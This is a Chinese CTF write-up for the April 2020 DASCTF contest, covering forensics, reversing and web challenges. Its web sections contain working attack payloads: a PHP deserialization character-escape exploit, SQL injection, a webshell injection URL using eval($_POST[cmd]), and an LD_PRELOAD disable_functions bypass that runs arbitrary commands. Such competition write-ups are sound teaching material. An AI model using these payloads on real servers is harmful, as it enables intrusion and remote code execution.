CTF系列——DASCTF四月春季赛Writeup

2020-05-09 14:52:23 浏览数 (1)

很久没正式打CTF,周末抽空参加了下安恒四月赛的DASCTF,个别题目质量还是蛮高的,这里把做出来的和赛后补充的做个记录。

MISC1(签到题):

题干:5G都来了,6G还远吗?

分析:附件大小将近1G,并且下载速度很慢:

不明所以,猜测思路是突破下载速度?但考虑到MISC题不会涉及到web知识,而且全题只涉及到一个partial文件,打开之后:

赛后才知道本题考点为断点下载。

MISC2:流量分析

题干:Dig something from blue shark.

分析:下载附件得到一个流量包,打开是蓝牙bluetooth音频的流量包:

猜测是蓝牙协议的分析,查了一会蓝牙协议后决定放弃,那就尝试其他思路:关键字搜索、查看协议分级、文件内容分离,binwalk一下发现,隐藏了一个7-zip压缩包:

尝试分离,三种办法:

1)dd分离

代码语言:javascript复制
dd  if=111.pcapng of=1.7z bs=1 skip=24437

2)Foremost

代码语言:javascript复制
foremost 111.pcapng

3)Wireshark提取

其实还有更简单的方法,直接修改流量包的后缀为zip解压,打开zip文件:

解压密码为PIN码,这步难倒不少人,其实很简单:

解压即得flag:

MISC3:内存取证

题干:Keyboard

分析:下载附件是一个raw文件和一个secret,后缀为raw的文件较大,像镜像文件,盲猜内存取证题:

当然先用volatility这个工具探测一下:

代码语言:javascript复制
volatility -f Keyboard.raw imageinfo

获取到机器版本profile,下面获取内存、历史命令、进程、文件等,具体命令可参考:

https://www.freebuf.com/column/152545.html

发现存在keayboard-log.exe和VeraCrypt.exe的进程:

代码语言:javascript复制
filescan查找文件:
volatility -f Keyboard.raw --profile=Win7SP0x64 filescan | grep -E 'txt'
Dumpfiles导出文件:
volatility -f Keyboard.raw --profile=Win7SP0x64 dumpfiles -Q 0x000000003d700880 -D /root/test/

下一步对导出的文件使用strings命令查看字符:

代码语言:javascript复制
2020- 3-29 22:36:41
ctfwikiCRYPTO ABC
CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA
2020- 3-29 22:39:24
But the password is in uppercase

两条提示信息:在ctfwiki的crypto分类中可以找到这种密码,而且密码是大写,尝试后发现是键盘密码的一种:

所以VeraCrypt的解密密码是:

代码语言:javascript复制
VERACRYPTPASSWORDISKEYBOARDDRAOBYEK

VeraCrypt搜索一下是个加解密工具,这里思路就很清楚了,用VeraCrypt挂载加密卷Secret,挂载后得到一个vhd文件,通过磁盘管理打开,得到一个flag.txt,这里加了一个NTFS隐写,取消文件隐藏后notepad一下即可看到flag:

代码语言:javascript复制
notepad flag.txt:real.txt

reverse:基础逆向

下载附件得到一个exe文件,Olly DBG或IDA分析都可以:

逻辑很简单,经典判断流,问题在于for循环中涉及到了i - 112,但是v5长度肯定没那么大,观察到v5和v6后面注释的内容,A0h-30h恰好为70h,换成十进制也就是112,所以for循环中v6的i - 112也就是v5数组,再根据这个加密过程编写解密代码即可得到flag:

代码语言:javascript复制
#include<bits/stdc  .h>
using namespace std;
 
int main(){
    char v5[10010]="akhb~chdaZrdaZudqduvdZvvv|";
    for(int i=0;i<strlen(v5);  i)
        v5[i]=(v5[i]-1)^6;
    cout<<v5;
    return 0;
}

Web1:反序列化POP链、字符逃逸

分析:访问地址,直接给代码:

代码语言:javascript复制
<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '', $data);
}
 
function read($data) {
    return str_replace('', chr(0) . '*' . chr(0), $data);
}
 
class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}
 
class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}
 
class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}
 
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

明显是用C类中的__toString()方法中的file_get_contents()来读取flag.php的源码,然后在B类中存在字符串的拼接操作c = 'a'.this->b; 此处的

代码语言:javascript复制
$a = new A();
$b = new B();
$c = new C();
$c->c = "flag.php";
$b->b = $c;
$a->username = "1";
$a->password = $b;
echo serialize($a);

得到结果:

代码语言:javascript复制
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

之后很明显就是字符逃逸了,看题目里的read()和write()方法,这里的长度为6,然后chr(0).'*'.chr(0)的长度为3,因此read()方法可以造成字符逃逸。

假设分别传入1和2,得到这样的序列化字符串:

代码语言:javascript复制
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";}

传入payload:

代码语言:javascript复制
?a=&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";s:0:"

会得到这样的序列化字符串(每个*左右都有不可见字符):

代码语言:javascript复制
O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:86:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";s:0:"";}

得到flag.php源码:

代码语言:javascript复制
<?php
$flag = 'flag{54c3439fe400834815e5fb576adfe04a}';

Web2:反序列化POP链、字符逃逸

题干:babytricks

分析:此题难度较大,考点为:sprintf()格式化字符串、SQL注入、单行模式getshell、bypass UAF。

第一步利用格式化字符串吞引号 SQL注入把密码给打出来:

代码语言:javascript复制
Array
(
    [0] => 1
    [id] => 1
    [1] => admin
    [user] => admin
    [2] => GoODLUcKcTFer202OHAckFuN
    [passwd] => GoODLUcKcTFer202OHAckFuN
)

然后去后台admin登录,来到第二步:

代码语言:javascript复制
<?php
error_reporting(0);
session_save_path('session');
session_start();
require_once './init.php';
if($_SESSION['login']!=1){
    die("<script>window.location.href='./index.php'</script>");
}
if($_GET['shell']){
    $shell= addslashes($_GET['shell']);
    $file = file_get_contents('./shell.php');
    $file = preg_replace("/\$shell = '.*';/s", "$shell = '{$shell}';", $file);
    file_put_contents('./shell.php', $file);
}else{
    echo "set your shell"."<br>";
    chdir("/");
    highlight_file(dirname(__FILE__)."/admin.php");
}
?>

分别访问:

代码语言:javascript复制
http://183.129.189.60:10006/admin/admin.php?shell=;eval($_POST[cmd]);
http://183.129.189.60:10006/admin/admin.php?shell=$0

即可成功getshell,蚁剑连接:

第三步是bypass UAF,手动构造,题目给了so文件,想到了LD_PRELOAD,参考:

https://www.freebuf.com/articles/web/192052.html,

以及payload:

代码语言:javascript复制
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

上传文件,然后发现不能执行,看看内容中是否有函数被过滤,发现 mail被过滤了。

代码语言:javascript复制
<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
 
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
 
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
 
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
 
    mail("", "", "", "");
 
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
 
    unlink($out_path);
?>
代码语言:javascript复制
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,error_log,dl,FFI::cdef,debug_backtrace,imap_mail,mb_send_mail

找一个函数来开启新的进程,最终使用gnupg拓展修改代码:

最终payload:

代码语言:javascript复制
bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/admin/shells/xxxxxxx/bypass_disablefunc_x64.so

Crypto:

实在是软肋,直接学习WP:

https://badmonkey.site/archives/anheng-2020-4.html

0 人点赞